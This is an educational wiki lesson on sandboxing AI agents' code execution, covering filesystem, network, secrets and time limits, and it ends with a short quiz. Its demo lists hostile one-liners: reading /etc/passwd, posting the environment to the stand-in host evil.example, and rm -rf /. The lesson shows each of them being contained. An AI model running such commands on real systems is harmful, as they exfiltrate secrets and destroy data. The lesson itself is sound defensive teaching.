Wiki
Core11 min read

Sandboxing and isolation

Code execution is the sharpest tool an agent can hold. The sandbox decides the blast radius: filesystem, network, secrets, and time.

Give an agent a code interpreter and you have given it a general-purpose tool: it can compute, parse, and automate almost anything — and it can also read files, phone home, and delete things. The tool that makes an agent most capable is the one that most needs isolating. Sandboxing is how you let it run code without letting it run your system.

Start here

You cannot make code safe by asking the model to be careful — the model does not execute the code, and the code may come from text the model merely read. Safety here is containment: assume the code will do the worst thing it can, and make the worst thing small.

Configure the sandbox, then read the blast radius

open("/tmp/scratch.txt", "w")ran

wrote inside the scratch mount

open("/etc/passwd").read()contained

path is outside the sandbox mount

requests.post("https://evil.example", data=env)contained

no network egress

while True: passcontained

killed by the wall-clock limit

subprocess.run(["rm", "-rf", "/"])contained

destructive path outside the mount

The sandbox is the blast radius. Default to no network, a scratch filesystem, no secrets, and a wall-clock limit — then widen only where the task needs it. Least privilege (previous lesson) decides what the agent may ask for; the sandbox decides what the code can actually reach when it runs. Both are required.

Configure the sandbox and watch each attempt move between "contained", "ran", and "leaked".

What to contain

  • Filesystem — give a scratch directory, not the host. A code tool that can write anywhere can overwrite anything.
  • Network — the single most dangerous capability, because it is how data leaves. Default to no egress; allow specific hosts when needed.
  • Secrets — never mount API keys or credentials into a sandbox that runs generated code. If the code can read the environment, so can whatever persuaded the model to run it.
  • Time and memory — a wall-clock and memory limit turns an infinite loop into a contained error instead of an outage.

Why egress is the dangerous one

Reading a file inside the sandbox is a local problem. Sending it to an attacker is a breach. That is why network egress and secret exposure compound: a sandbox with the network open and credentials in the environment is a one-line exfiltration. Close both, and the same attempt becomes a no-op.

Careful

Containers are not a magic spell. A container with the host filesystem mounted, the network open, and secrets in the environment is barely a sandbox at all. Apply least privilege to the sandbox process itself: run it as a low-privilege user, drop capabilities, and mount only what the task needs. Isolation is a spectrum you tune, not a checkbox.

Check yourself

Eduspheria wiki · Agentic AI, Safety & deployment

0 / 4 answered

  1. 1Which sandbox capability is called the single most dangerous, because data leaves through it?
    Multiple choice
  2. 2Mounting API keys into a sandbox that runs generated code is safe because the code is trusted.
    True / false
  3. 3What limit turns an infinite loop into a contained error instead of an outage?
    Short answer
  4. 4What must never be relied on to keep code execution safe?
    Multiple choice

Next: the attack that does not need a sandbox escape at all — prompt injection.